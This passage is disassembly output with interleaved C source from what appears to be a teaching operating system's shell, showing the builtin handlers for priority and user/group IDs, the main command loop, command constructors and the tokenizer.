19 00 00 push $0x1926 466: e8 35 fe ff ff call 2a0 <strncmp> 46b: 83 c4 10 add $0x10,%esp 46e: 85 c0 test %eax,%eax 470: 0f 85 a5 00 00 00 jne 51b <setbuiltin+0x1da> p += strlen("priority"); 476: 83 ec 0c sub $0xc,%esp 479: 68 26 19 00 00 push $0x1926 47e: e8 6d 0c 00 00 call 10f0 <strlen> 483: 83 c4 10 add $0x10,%esp 486: 01 45 08 add %eax,0x8(%ebp) while (strncmp(p, " ", 1) == 0) p++; 489: eb 04 jmp 48f <setbuiltin+0x14e> 48b: 83 45 08 01 addl $0x1,0x8(%ebp) 48f: 83 ec 04 sub $0x4,%esp 492: 6a 01 push $0x1 494: 68 1c 19 00 00 push $0x191c 499: ff 75 08 pushl 0x8(%ebp) 49c: e8 ff fd ff ff call 2a0 <strncmp> 4a1: 83 c4 10 add $0x10,%esp 4a4: 85 c0 test %eax,%eax 4a6: 74 e3 je 48b <setbuiltin+0x14a> i = makeint(p); 4a8: 83 ec 0c sub $0xc,%esp 4ab: ff 75 08 pushl 0x8(%ebp) 4ae: e8 43 fe ff ff call 2f6 <makeint> 4b3: 83 c4 10 add $0x10,%esp 4b6: 89 45 f4 mov %eax,-0xc(%ebp) while (strncmp(p, " ", 1) != 0) p++; 4b9: eb 04 jmp 4bf <setbuiltin+0x17e> 4bb: 83 45 08 01 addl $0x1,0x8(%ebp) 4bf: 83 ec 04 sub $0x4,%esp 4c2: 6a 01 push $0x1 4c4: 68 1c 19 00 00 push $0x191c 4c9: ff 75 08 pushl 0x8(%ebp) 4cc: e8 cf fd ff ff call 2a0 <strncmp> 4d1: 83 c4 10 add $0x10,%esp 4d4: 85 c0 test %eax,%eax 4d6: 75 e3 jne 4bb <setbuiltin+0x17a> while (strncmp(p, " ", 1) == 0) p++; 4d8: eb 04 jmp 4de <setbuiltin+0x19d> 4da: 83 45 08 01 addl $0x1,0x8(%ebp) 4de: 83 ec 04 sub $0x4,%esp 4e1: 6a 01 push $0x1 4e3: 68 1c 19 00 00 push $0x191c 4e8: ff 75 08 pushl 0x8(%ebp) 4eb: e8 b0 fd ff ff call 2a0 <strncmp> 4f0: 83 c4 10 add $0x10,%esp 4f3: 85 c0 test %eax,%eax 4f5: 74 e3 je 4da <setbuiltin+0x199> int j = makeint(p); 4f7: 83 ec 0c sub $0xc,%esp 4fa: ff 75 08 pushl 0x8(%ebp) 4fd: e8 f4 fd ff ff call 2f6 <makeint> 502: 83 c4 10 add $0x10,%esp 505: 89 45 f0 mov %eax,-0x10(%ebp) return setpriority(i, j); 508: 83 ec 08 sub $0x8,%esp 50b: ff 75 f0 pushl -0x10(%ebp) 50e: ff 75 f4 pushl -0xc(%ebp) 511: e8 0a 0f 00 00 call 1420 <setpriority> 516: 83 c4 10 add $0x10,%esp 519: eb 17 jmp 532 <setbuiltin+0x1f1> } printf(2, "Invalid _set parameter\n"); 51b: 83 ec 08 sub $0x8,%esp 51e: 68 2f 19 00 00 push $0x192f 523: 6a 02 push $0x2 525: e8 ed 0f 00 00 call 1517 <printf> 52a: 83 c4 10 add $0x10,%esp return -1; 52d: b8 ff ff ff ff mov $0xffffffff,%eax } 532: c9 leave 533: c3 ret 00000534 <getbuiltin>: int getbuiltin(char *p) { 534: 55 push %ebp 535: 89 e5 mov %esp,%ebp 537: 83 ec 08 sub $0x8,%esp p += strlen("_get"); 53a: 83 ec 0c sub $0xc,%esp 53d: 68 47 19 00 00 push $0x1947 542: e8 a9 0b 00 00 call 10f0 <strlen> 547: 83 c4 10 add $0x10,%esp 54a: 01 45 08 add %eax,0x8(%ebp) while (strncmp(p, " ", 1) == 0) p++; // chomp spaces 54d: eb 04 jmp 553 <getbuiltin+0x1f> 54f: 83 45 08 01 addl $0x1,0x8(%ebp) 553: 83 ec 04 sub $0x4,%esp 556: 6a 01 push $0x1 558: 68 1c 19 00 00 push $0x191c 55d: ff 75 08 pushl 0x8(%ebp) 560: e8 3b fd ff ff call 2a0 <strncmp> 565: 83 c4 10 add $0x10,%esp 568: 85 c0 test %eax,%eax 56a: 74 e3 je 54f <getbuiltin+0x1b> if (strncmp("uid", p, 3) == 0) { 56c: 83 ec 04 sub $0x4,%esp 56f: 6a 03 push $0x3 571: ff 75 08 pushl 0x8(%ebp) 574: 68 1e 19 00 00 push $0x191e 579: e8 22 fd ff ff call 2a0 <strncmp> 57e: 83 c4 10 add $0x10,%esp 581: 85 c0 test %eax,%eax 583: 75 1f jne 5a4 <getbuiltin+0x70> printf(2, "%d\n", getuid()); 585: e8 66 0e 00 00 call 13f0 <getuid> 58a: 83 ec 04 sub $0x4,%esp 58d: 50 push %eax 58e: 68 4c 19 00 00 push $0x194c 593: 6a 02 push $0x2 595: e8 7d 0f 00 00 call 1517 <printf> 59a: 83 c4 10 add $0x10,%esp return 0; 59d: b8 00 00 00 00 mov $0x0,%eax 5a2: eb 4f jmp 5f3 <getbuiltin+0xbf> } if (strncmp("gid", p, 3) == 0) { 5a4: 83 ec 04 sub $0x4,%esp 5a7: 6a 03 push $0x3 5a9: ff 75 08 pushl 0x8(%ebp) 5ac: 68 22 19 00 00 push $0x1922 5b1: e8 ea fc ff ff call 2a0 <strncmp> 5b6: 83 c4 10 add $0x10,%esp 5b9: 85 c0 test %eax,%eax 5bb: 75 1f jne 5dc <getbuiltin+0xa8> printf(2, "%d\n", getgid()); 5bd: e8 36 0e 00 00 call 13f8 <getgid> 5c2: 83 ec 04 sub $0x4,%esp 5c5: 50 push %eax 5c6: 68 4c 19 00 00 push $0x194c 5cb: 6a 02 push $0x2 5cd: e8 45 0f 00 00 call 1517 <printf> 5d2: 83 c4 10 add $0x10,%esp return 0; 5d5: b8 00 00 00 00 mov $0x0,%eax 5da: eb 17 jmp 5f3 <getbuiltin+0xbf> } printf(2, "Invalid _get parameter\n"); 5dc: 83 ec 08 sub $0x8,%esp 5df: 68 50 19 00 00 push $0x1950 5e4: 6a 02 push $0x2 5e6: e8 2c 0f 00 00 call 1517 <printf> 5eb: 83 c4 10 add $0x10,%esp return -1; 5ee: b8 ff ff ff ff mov $0xffffffff,%eax } 5f3: c9 leave 5f4: c3 ret 000005f5 <dobuiltin>: {"_get", getbuiltin} }; int FDTcount = sizeof(fdt) / sizeof(fdt[0]); // # entris in FDT void dobuiltin(char *cmd) { 5f5: 55 push %ebp 5f6: 89 e5 mov %esp,%ebp 5f8: 83 ec 18 sub $0x18,%esp int i; for (i=0; i<FDTcount; i++) 5fb: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 602: eb 4f jmp 653 <dobuiltin+0x5e> if (strncmp(cmd, fdt[i].cmd, strlen(fdt[i].cmd)) == 0) 604: 8b 45 f4 mov -0xc(%ebp),%eax 607: 8b 04 c5 60 1f 00 00 mov 0x1f60(,%eax,8),%eax 60e: 83 ec 0c sub $0xc,%esp 611: 50 push %eax 612: e8 d9 0a 00 00 call 10f0 <strlen> 617: 83 c4 10 add $0x10,%esp 61a: 89 c2 mov %eax,%edx 61c: 8b 45 f4 mov -0xc(%ebp),%eax 61f: 8b 04 c5 60 1f 00 00 mov 0x1f60(,%eax,8),%eax 626: 83 ec 04 sub $0x4,%esp 629: 52 push %edx 62a: 50 push %eax 62b: ff 75 08 pushl 0x8(%ebp) 62e: e8 6d fc ff ff call 2a0 <strncmp> 633: 83 c4 10 add $0x10,%esp 636: 85 c0 test %eax,%eax 638: 75 15 jne 64f <dobuiltin+0x5a> (*fdt[i].name)(cmd); 63a: 8b 45 f4 mov -0xc(%ebp),%eax 63d: 8b 04 c5 64 1f 00 00 mov 0x1f64(,%eax,8),%eax 644: 83 ec 0c sub $0xc,%esp 647: ff 75 08 pushl 0x8(%ebp) 64a: ff d0 call *%eax 64c: 83 c4 10 add $0x10,%esp void dobuiltin(char *cmd) { int i; for (i=0; i<FDTcount; i++) 64f: 83 45 f4 01 addl $0x1,-0xc(%ebp) 653: a1 70 1f 00 00 mov 0x1f70,%eax 658: 39 45 f4 cmp %eax,-0xc(%ebp) 65b: 7c a7 jl 604 <dobuiltin+0xf> if (strncmp(cmd, fdt[i].cmd, strlen(fdt[i].cmd)) == 0) (*fdt[i].name)(cmd); } 65d: 90 nop 65e: c9 leave 65f: c3 ret 00000660 <main>: // ***** processing for shell builtins ends here ***** #endif int main(void) { 660: 8d 4c 24 04 lea 0x4(%esp),%ecx 664: 83 e4 f0 and $0xfffffff0,%esp 667: ff 71 fc pushl -0x4(%ecx) 66a: 55 push %ebp 66b: 89 e5 mov %esp,%ebp 66d: 51 push %ecx 66e: 83 ec 14 sub $0x14,%esp static char buf[100]; int fd; // Assumes three file descriptors open. while((fd = open("console", O_RDWR)) >= 0){ 671: eb 16 jmp 689 <main+0x29> if(fd >= 3){ 673: 83 7d f4 02 cmpl $0x2,-0xc(%ebp) 677: 7e 10 jle 689 <main+0x29> close(fd); 679: 83 ec 0c sub $0xc,%esp 67c: ff 75 f4 pushl -0xc(%ebp) 67f: e8 e4 0c 00 00 call 1368 <close> 684: 83 c4 10 add $0x10,%esp break; 687: eb 1b jmp 6a4 <main+0x44> { static char buf[100]; int fd; // Assumes three file descriptors open. while((fd = open("console", O_RDWR)) >= 0){ 689: 83 ec 08 sub $0x8,%esp 68c: 6a 02 push $0x2 68e: 68 68 19 00 00 push $0x1968 693: e8 e8 0c 00 00 call 1380 <open> 698: 83 c4 10 add $0x10,%esp 69b: 89 45 f4 mov %eax,-0xc(%ebp) 69e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 6a2: 79 cf jns 673 <main+0x13> break; } } // Read and run input commands. while(getcmd(buf, sizeof(buf)) >= 0){ 6a4: e9 b1 00 00 00 jmp 75a <main+0xfa> // add support for built-ins here. cd is a built-in if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){ 6a9: 0f b6 05 a0 1f 00 00 movzbl 0x1fa0,%eax 6b0: 3c 63 cmp $0x63,%al 6b2: 75 5f jne 713 <main+0xb3> 6b4: 0f b6 05 a1 1f 00 00 movzbl 0x1fa1,%eax 6bb: 3c 64 cmp $0x64,%al 6bd: 75 54 jne 713 <main+0xb3> 6bf: 0f b6 05 a2 1f 00 00 movzbl 0x1fa2,%eax 6c6: 3c 20 cmp $0x20,%al 6c8: 75 49 jne 713 <main+0xb3> // Clumsy but will have to do for now. // Chdir has no effect on the parent if run in the child. buf[strlen(buf)-1] = 0; // chop \n 6ca: 83 ec 0c sub $0xc,%esp 6cd: 68 a0 1f 00 00 push $0x1fa0 6d2: e8 19 0a 00 00 call 10f0 <strlen> 6d7: 83 c4 10 add $0x10,%esp 6da: 83 e8 01 sub $0x1,%eax 6dd: c6 80 a0 1f 00 00 00 movb $0x0,0x1fa0(%eax) if(chdir(buf+3) < 0) 6e4: b8 a3 1f 00 00 mov $0x1fa3,%eax 6e9: 83 ec 0c sub $0xc,%esp 6ec: 50 push %eax 6ed: e8 be 0c 00 00 call 13b0 <chdir> 6f2: 83 c4 10 add $0x10,%esp 6f5: 85 c0 test %eax,%eax 6f7: 79 61 jns 75a <main+0xfa> printf(2, "cannot cd %s\n", buf+3); 6f9: b8 a3 1f 00 00 mov $0x1fa3,%eax 6fe: 83 ec 04 sub $0x4,%esp 701: 50 push %eax 702: 68 70 19 00 00 push $0x1970 707: 6a 02 push $0x2 709: e8 09 0e 00 00 call 1517 <printf> 70e: 83 c4 10 add $0x10,%esp continue; 711: eb 47 jmp 75a <main+0xfa> } #ifdef USE_BUILTINS if (buf[0]=='_') { // assume it is a builtin command 713: 0f b6 05 a0 1f 00 00 movzbl 0x1fa0,%eax 71a: 3c 5f cmp $0x5f,%al 71c: 75 12 jne 730 <main+0xd0> dobuiltin(buf); 71e: 83 ec 0c sub $0xc,%esp 721: 68 a0 1f 00 00 push $0x1fa0 726: e8 ca fe ff ff call 5f5 <dobuiltin> 72b: 83 c4 10 add $0x10,%esp continue; 72e: eb 2a jmp 75a <main+0xfa> } #endif if(fork1() == 0) 730: e8 64 00 00 00 call 799 <fork1> 735: 85 c0 test %eax,%eax 737: 75 1c jne 755 <main+0xf5> runcmd(parsecmd(buf)); 739: 83 ec 0c sub $0xc,%esp 73c: 68 a0 1f 00 00 push $0x1fa0 741: e8 ab 03 00 00 call af1 <parsecmd> 746: 83 c4 10 add $0x10,%esp 749: 83 ec 0c sub $0xc,%esp 74c: 50 push %eax 74d: e8 ae f8 ff ff call 0 <runcmd> 752: 83 c4 10 add $0x10,%esp wait(); 755: e8 ee 0b 00 00 call 1348 <wait> break; } } // Read and run input commands. while(getcmd(buf, sizeof(buf)) >= 0){ 75a: 83 ec 08 sub $0x8,%esp 75d: 6a 64 push $0x64 75f: 68 a0 1f 00 00 push $0x1fa0 764: e8 e2 fa ff ff call 24b <getcmd> 769: 83 c4 10 add $0x10,%esp 76c: 85 c0 test %eax,%eax 76e: 0f 89 35 ff ff ff jns 6a9 <main+0x49> #endif if(fork1() == 0) runcmd(parsecmd(buf)); wait(); } exit(); 774: e8 c7 0b 00 00 call 1340 <exit> 00000779 <panic>: } void panic(char *s) { 779: 55 push %ebp 77a: 89 e5 mov %esp,%ebp 77c: 83 ec 08 sub $0x8,%esp printf(2, "%s\n", s); 77f: 83 ec 04 sub $0x4,%esp 782: ff 75 08 pushl 0x8(%ebp) 785: 68 7e 19 00 00 push $0x197e 78a: 6a 02 push $0x2 78c: e8 86 0d 00 00 call 1517 <printf> 791: 83 c4 10 add $0x10,%esp exit(); 794: e8 a7 0b 00 00 call 1340 <exit> 00000799 <fork1>: } int fork1(void) { 799: 55 push %ebp 79a: 89 e5 mov %esp,%ebp 79c: 83 ec 18 sub $0x18,%esp int pid; pid = fork(); 79f: e8 94 0b 00 00 call 1338 <fork> 7a4: 89 45 f4 mov %eax,-0xc(%ebp) if(pid == -1) 7a7: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 7ab: 75 10 jne 7bd <fork1+0x24> panic("fork"); 7ad: 83 ec 0c sub $0xc,%esp 7b0: 68 82 19 00 00 push $0x1982 7b5: e8 bf ff ff ff call 779 <panic> 7ba: 83 c4 10 add $0x10,%esp return pid; 7bd: 8b 45 f4 mov -0xc(%ebp),%eax } 7c0: c9 leave 7c1: c3 ret 000007c2 <execcmd>: // Constructors struct cmd* execcmd(void) { 7c2: 55 push %ebp 7c3: 89 e5 mov %esp,%ebp 7c5: 83 ec 18 sub $0x18,%esp struct execcmd *cmd; cmd = malloc(sizeof(*cmd)); 7c8: 83 ec 0c sub $0xc,%esp 7cb: 6a 54 push $0x54 7cd: e8 18 10 00 00 call 17ea <malloc> 7d2: 83 c4 10 add $0x10,%esp 7d5: 89 45 f4 mov %eax,-0xc(%ebp) memset(cmd, 0, sizeof(*cmd)); 7d8: 83 ec 04 sub $0x4,%esp 7db: 6a 54 push $0x54 7dd: 6a 00 push $0x0 7df: ff 75 f4 pushl -0xc(%ebp) 7e2: e8 30 09 00 00 call 1117 <memset> 7e7: 83 c4 10 add $0x10,%esp cmd->type = EXEC; 7ea: 8b 45 f4 mov -0xc(%ebp),%eax 7ed: c7 00 01 00 00 00 movl $0x1,(%eax) return (struct cmd*)cmd; 7f3: 8b 45 f4 mov -0xc(%ebp),%eax } 7f6: c9 leave 7f7: c3 ret 000007f8 <redircmd>: struct cmd* redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd) { 7f8: 55 push %ebp 7f9: 89 e5 mov %esp,%ebp 7fb: 83 ec 18 sub $0x18,%esp struct redircmd *cmd; cmd = malloc(sizeof(*cmd)); 7fe: 83 ec 0c sub $0xc,%esp 801: 6a 18 push $0x18 803: e8 e2 0f 00 00 call 17ea <malloc> 808: 83 c4 10 add $0x10,%esp 80b: 89 45 f4 mov %eax,-0xc(%ebp) memset(cmd, 0, sizeof(*cmd)); 80e: 83 ec 04 sub $0x4,%esp 811: 6a 18 push $0x18 813: 6a 00 push $0x0 815: ff 75 f4 pushl -0xc(%ebp) 818: e8 fa 08 00 00 call 1117 <memset> 81d: 83 c4 10 add $0x10,%esp cmd->type = REDIR; 820: 8b 45 f4 mov -0xc(%ebp),%eax 823: c7 00 02 00 00 00 movl $0x2,(%eax) cmd->cmd = subcmd; 829: 8b 45 f4 mov -0xc(%ebp),%eax 82c: 8b 55 08 mov 0x8(%ebp),%edx 82f: 89 50 04 mov %edx,0x4(%eax) cmd->file = file; 832: 8b 45 f4 mov -0xc(%ebp),%eax 835: 8b 55 0c mov 0xc(%ebp),%edx 838: 89 50 08 mov %edx,0x8(%eax) cmd->efile = efile; 83b: 8b 45 f4 mov -0xc(%ebp),%eax 83e: 8b 55 10 mov 0x10(%ebp),%edx 841: 89 50 0c mov %edx,0xc(%eax) cmd->mode = mode; 844: 8b 45 f4 mov -0xc(%ebp),%eax 847: 8b 55 14 mov 0x14(%ebp),%edx 84a: 89 50 10 mov %edx,0x10(%eax) cmd->fd = fd; 84d: 8b 45 f4 mov -0xc(%ebp),%eax 850: 8b 55 18 mov 0x18(%ebp),%edx 853: 89 50 14 mov %edx,0x14(%eax) return (struct cmd*)cmd; 856: 8b 45 f4 mov -0xc(%ebp),%eax } 859: c9 leave 85a: c3 ret 0000085b <pipecmd>: struct cmd* pipecmd(struct cmd *left, struct cmd *right) { 85b: 55 push %ebp 85c: 89 e5 mov %esp,%ebp 85e: 83 ec 18 sub $0x18,%esp struct pipecmd *cmd; cmd = malloc(sizeof(*cmd)); 861: 83 ec 0c sub $0xc,%esp 864: 6a 0c push $0xc 866: e8 7f 0f 00 00 call 17ea <malloc> 86b: 83 c4 10 add $0x10,%esp 86e: 89 45 f4 mov %eax,-0xc(%ebp) memset(cmd, 0, sizeof(*cmd)); 871: 83 ec 04 sub $0x4,%esp 874: 6a 0c push $0xc 876: 6a 00 push $0x0 878: ff 75 f4 pushl -0xc(%ebp) 87b: e8 97 08 00 00 call 1117 <memset> 880: 83 c4 10 add $0x10,%esp cmd->type = PIPE; 883: 8b 45 f4 mov -0xc(%ebp),%eax 886: c7 00 03 00 00 00 movl $0x3,(%eax) cmd->left = left; 88c: 8b 45 f4 mov -0xc(%ebp),%eax 88f: 8b 55 08 mov 0x8(%ebp),%edx 892: 89 50 04 mov %edx,0x4(%eax) cmd->right = right; 895: 8b 45 f4 mov -0xc(%ebp),%eax 898: 8b 55 0c mov 0xc(%ebp),%edx 89b: 89 50 08 mov %edx,0x8(%eax) return (struct cmd*)cmd; 89e: 8b 45 f4 mov -0xc(%ebp),%eax } 8a1: c9 leave 8a2: c3 ret 000008a3 <listcmd>: struct cmd* listcmd(struct cmd *left, struct cmd *right) { 8a3: 55 push %ebp 8a4: 89 e5 mov %esp,%ebp 8a6: 83 ec 18 sub $0x18,%esp struct listcmd *cmd; cmd = malloc(sizeof(*cmd)); 8a9: 83 ec 0c sub $0xc,%esp 8ac: 6a 0c push $0xc 8ae: e8 37 0f 00 00 call 17ea <malloc> 8b3: 83 c4 10 add $0x10,%esp 8b6: 89 45 f4 mov %eax,-0xc(%ebp) memset(cmd, 0, sizeof(*cmd)); 8b9: 83 ec 04 sub $0x4,%esp 8bc: 6a 0c push $0xc 8be: 6a 00 push $0x0 8c0: ff 75 f4 pushl -0xc(%ebp) 8c3: e8 4f 08 00 00 call 1117 <memset> 8c8: 83 c4 10 add $0x10,%esp cmd->type = LIST; 8cb: 8b 45 f4 mov -0xc(%ebp),%eax 8ce: c7 00 04 00 00 00 movl $0x4,(%eax) cmd->left = left; 8d4: 8b 45 f4 mov -0xc(%ebp),%eax 8d7: 8b 55 08 mov 0x8(%ebp),%edx 8da: 89 50 04 mov %edx,0x4(%eax) cmd->right = right; 8dd: 8b 45 f4 mov -0xc(%ebp),%eax 8e0: 8b 55 0c mov 0xc(%ebp),%edx 8e3: 89 50 08 mov %edx,0x8(%eax) return (struct cmd*)cmd; 8e6: 8b 45 f4 mov -0xc(%ebp),%eax } 8e9: c9 leave 8ea: c3 ret 000008eb <backcmd>: struct cmd* backcmd(struct cmd *subcmd) { 8eb: 55 push %ebp 8ec: 89 e5 mov %esp,%ebp 8ee: 83 ec 18 sub $0x18,%esp struct backcmd *cmd; cmd = malloc(sizeof(*cmd)); 8f1: 83 ec 0c sub $0xc,%esp 8f4: 6a 08 push $0x8 8f6: e8 ef 0e 00 00 call 17ea <malloc> 8fb: 83 c4 10 add $0x10,%esp 8fe: 89 45 f4 mov %eax,-0xc(%ebp) memset(cmd, 0, sizeof(*cmd)); 901: 83 ec 04 sub $0x4,%esp 904: 6a 08 push $0x8 906: 6a 00 push $0x0 908: ff 75 f4 pushl -0xc(%ebp) 90b: e8 07 08 00 00 call 1117 <memset> 910: 83 c4 10 add $0x10,%esp cmd->type = BACK; 913: 8b 45 f4 mov -0xc(%ebp),%eax 916: c7 00 05 00 00 00 movl $0x5,(%eax) cmd->cmd = subcmd; 91c: 8b 45 f4 mov -0xc(%ebp),%eax 91f: 8b 55 08 mov 0x8(%ebp),%edx 922: 89 50 04 mov %edx,0x4(%eax) return (struct cmd*)cmd; 925: 8b 45 f4 mov -0xc(%ebp),%eax } 928: c9 leave 929: c3 ret 0000092a <gettoken>: char whitespace[] = " \t\r\n\v"; char symbols[] = "<|>&;()"; int gettoken(char **ps, char *es, char **q, char **eq) { 92a: 55 push %ebp 92b: 89 e5 mov %esp,%ebp 92d: 83 ec 18 sub $0x18,%esp char *s; int ret; s = *ps; 930: 8b 45 08 mov 0x8(%ebp),%eax 933: 8b 00 mov (%eax),%eax 935: 89 45 f4 mov %eax,-0xc(%ebp) while(s < es && strchr(whitespace, *s)) 938: eb 04 jmp 93e <gettoken+0x14> s++; 93a: 83 45 f4 01 addl $0x1,-0xc(%ebp) { char *s; int ret; s = *ps; while(s < es && strchr(whitespace, *s)) 93e: 8b 45 f4 mov -0xc(%ebp),%eax 941: 3b 45 0c cmp 0xc(%ebp),%eax 944: 73 1e jae 964 <gettoken+0x3a> 946: 8b 45 f4 mov -0xc(%ebp),%eax 949: 0f b6 00 movzbl (%eax),%eax 94c: 0f be c0 movsbl %al,%eax 94f: 83 ec 08 sub $0x8,%esp 952: 50 push %eax 953: 68 74 1f 00 00 push $0x1f74 958: e8 d4 07 00 00 call 1131 <strchr> 95d: 83 c4 10 add $0x10,%esp 960: 85 c0 test %eax,%eax 962: 75 d6 jne 93a <gettoken+0x10> s++; if(q) 964: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 968: 74 08 je 972 <gettoken+0x48> *q = s; 96a: 8b 45 10 mov 0x10(%ebp),%eax 96d: 8b 55 f4 mov -0xc(%ebp),%edx 970: 89 10 mov %edx,(%eax) ret = *s; 972: 8b 45 f4 mov -0xc(%ebp),%eax 975: 0f b6 00 movzbl (%eax),%eax 978: 0f be c0 movsbl %al,%eax 97b: 89 45 f0 mov %eax,-0x10(%ebp) switch(*s){ 97e: 8b 45 f4 mov -0xc(%ebp),%eax 981: 0f b6 00 movzbl (%eax),%eax 984: 0f be c0 movsbl %al,%eax 987: 83 f8 29 cmp $0x29,%eax 98a: 7f 14 jg 9a0 <gettoken+0x76> 98c: 83 f8 28 cmp $0x28,%eax 98f: 7d 28 jge 9b9 <gettoken+0x8f> 991: 85 c0 test %eax,%eax 993: 0f 84 94 00 00 00 je a2d <gettoken+0x103> 999: 83 f8 26 cmp $0x26,%eax 99c: 74 1b je 9b9 <gettoken+0x8f> 99e: eb 3a jmp 9da <gettoken+0xb0> 9a0: 83 f8 3e cmp $0x3e,%eax 9a3: 74 1a je 9bf <gettoken+0x95> 9a5: 83 f8 3e cmp $0x3e,%eax 9a8: 7f 0a jg 9b4 <gettoken+0x8a> 9aa: 83 e8 3b sub $0x3b,%eax 9ad: 83 f8 01 cmp $0x1,%eax 9b0: 77 28 ja 9da <gettoken+0xb0> 9b2: eb 05 jmp 9b9 <gettoken+0x8f> 9b4: 83 f8 7c cmp $0x7c,%eax 9b7: 75 21 jne 9da <gettoken+0xb0> case '(': case ')': case ';': case '&': case '<': s++; 9b9: 83 45 f4 01 addl $0x1,-0xc(%ebp) break; 9bd: eb 75 jmp a34 <gettoken+0x10a> case '>': s++; 9bf: 83 45 f4 01 addl $0x1,-0xc(%ebp) if(*s == '>'){ 9c3: 8b 45 f4 mov -0xc(%ebp),%eax 9c6: 0f b6 00 movzbl (%eax),%eax 9c9: 3c 3e cmp $0x3e,%al 9cb: 75 63 jne a30 <gettoken+0x106> ret = '+'; 9cd: c7 45 f0 2b 00 00 00 movl $0x2b,-0x10(%ebp) s++; 9d4: 83 45 f4 01 addl $0x1,-0xc(%ebp) } break; 9d8: eb 56 jmp a30 <gettoken+0x106> default: ret = 'a'; 9da: c7 45 f0 61 00 00 00 movl $0x61,-0x10(%ebp) while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) 9e1: eb 04 jmp 9e7 <gettoken+0xbd> s++; 9e3: 83 45 f4 01 addl $0x1,-0xc(%ebp) s++; } break; default: ret = 'a'; while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) 9e7: 8b 45 f4 mov -0xc(%ebp),%eax 9ea: 3b 45 0c cmp 0xc(%ebp),%eax 9ed: 73 44 jae a33 <gettoken+0x109> 9ef: 8b 45 f4 mov -0xc(%ebp),%eax 9f2: 0f b6 00 movzbl (%eax),%eax 9f5: 0f be c0 movsbl %al,%eax 9f8: 83 ec 08 sub $0x8,%esp 9fb: 50 push %eax 9fc: 68 74 1f 00 00 push $0x1f74 a01: e8 2b 07 00 00 call 1131 <strchr> a06: 83 c4 10 add $0x10,%esp a09: 85 c0 test %eax,%eax a0b: 75 26 jne a33 <gettoken+0x109> a0d: 8b 45 f4 mov -0xc(%ebp),%eax a10: 0f b6 00 movzbl (%eax),%eax a13: 0f be c0 movsbl %al,%eax a16: 83 ec 08 sub $0x8,%esp a19: 50 push %eax a1a: 68 7c 1f 00 00 push $0x1f7c a1f: e8 0d 07 00 00 call 1131 <strchr> a24: 83 c4 10 add $0x10,%esp a27: 85 c0 test %eax,%eax a29: 74 b8 je 9e3 <gettoken+0xb9> s++; break; a2b: eb 06 jmp a33 <gettoken+0x109> if(q) *q = s; ret = *s; switch(*s){ case 0: break; a2d: 90 nop a2e: eb 04 jmp a34 <gettoken+0x10a> s++; if(*s == '>'){ ret = '+'; s++; } break; a30: 90 nop a31: eb 01 jmp a34 <gettoken+0x10a> default: ret = 'a'; while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) s++; break; a33: 90 nop } if(eq) a34: 83 7d 14 00 cmpl $0x0,0x14(%ebp) a38: 74 0e je a48 <gettoken+0x11e> *eq = s; a3a: 8b 45 14 mov 0x14(%ebp),%eax a3d: 8b 55 f4 mov -0xc(%ebp),%edx a40: 89 10 mov %edx,(%eax) while(s < es && strchr(whitespace, *s)) a42: eb 04 jmp a48 <gettoken+0x11e> s++; a44: 83 45 f4 01 addl $0x1,-0xc(%ebp) break; } if(eq) *eq = s; while(s < es && strchr(whitespace, *s)) a48: 8b 45 f4 mov -0xc(%ebp),%eax a4b: 3b 45 0c cmp 0xc(%ebp),%eax a4e: 73 1e jae a6e <gettoken+0x144> a50: 8b 45 f4 mov -0xc(%ebp),%eax a53: 0f b6 00 movzbl (%eax),%eax a56: 0f be c0 movsbl %al,%eax a59: 83 ec 08 sub $0x8,%esp a5c: 50 push %eax a5d: 68 74 1f 00 00 push $0x1f74 a62: e8 ca 06 00 00 call 1131 <strchr> a67: 83 c4 10 add $0x10,%esp a6a: 85 c0 test %eax,%eax a6c: 75 d6 jne a44 <gettoken+0x11a> s++; *ps = s; a6e: 8b 45 08 mov 0x8(%ebp),%eax a71: 8b 55 f4 mov -0xc(%ebp),%edx a74: 89 10 mov %edx,(%eax) return ret; a76: 8b 45 f0 mov -0x10(%ebp),%eax } a79: c9 leave a7a: c3 ret 00000a7b <peek>: int peek(char **ps, char *es, char *toks) { a7b: 55 push %ebp a7c: 89 e5 mov %esp,%ebp a7e: 83 ec 18 sub $0x18,%esp char *s; s = *ps; a81: 8b 45 08 mov 0x8(%ebp),%eax a84: 8b 00 mov (%eax),%eax a86: 89 45 f4 mov %eax,-0xc(%ebp) while(s < es && strchr(whitespace, *s)) a89: eb 04 jmp a8f <peek+0x14> s++; a8b: 83 45 f4 01 addl $0x1,-0xc(%ebp) peek(char **ps, char *es, char *toks) { char *s; s = *ps; while(s < es && strchr(whitespace, *s)) a8f: 8b 45 f4 mov -0xc(%ebp),%eax a92: 3b 45 0c cmp 0xc(%ebp),%eax a95: 73 1e jae ab5 <peek+0x3a> a97: 8b 45 f4 mov -0xc(%ebp),%eax a9a: 0f b6 00 movzbl (%eax),%eax a9d: 0f be c0 movsbl %al,%eax aa0: 83 ec 08 sub $0x8,%esp aa3: 50 push %eax aa4: 68 74 1f 00 00 push $0x1f74 aa9: e8 83 06 00 00 call 1131 <strchr> aae: 83 c4 10 add $0x10,%esp ab1: 85 c0 test %eax,%eax ab3: 75 d6 jne a8b <peek+0x10> s++; *ps = s; ab5: 8b 45 08 mov 0x8(%ebp),%eax ab8: 8b 55 f4 mov -0xc(%ebp),%edx abb: 89 10 mov %edx,(%eax) return *s && strchr(toks, *s); abd: 8b 45 f4 mov -0xc(%ebp),%eax ac0: 0f b6 00 movzbl (%eax),%eax ac3: 84 c0 test %al,%al ac5: 74 23 je aea <peek+0x6f> ac7: 8b 45 f4 mov -0xc(%ebp),%eax aca: 0f b6 00 movzbl (%eax),%eax acd: 0f be c0 movsbl %al,%eax ad0: 83 ec 08 sub $0x8,%esp ad3: 50 push %eax ad4: ff 75 10 pushl 0x10(%ebp) ad7: e8 55 06 00 00 call 1131 <strchr> adc: 83 c4 10 add $0x10,%esp adf: 85 c0 test %eax,%eax ae1: 74 07 je aea <peek+0x6f> ae3: b8 01 00 00 00 mov $0x1,%eax ae8: eb 05 jmp aef <peek+0x74> aea: b8 00 00 00 00 mov 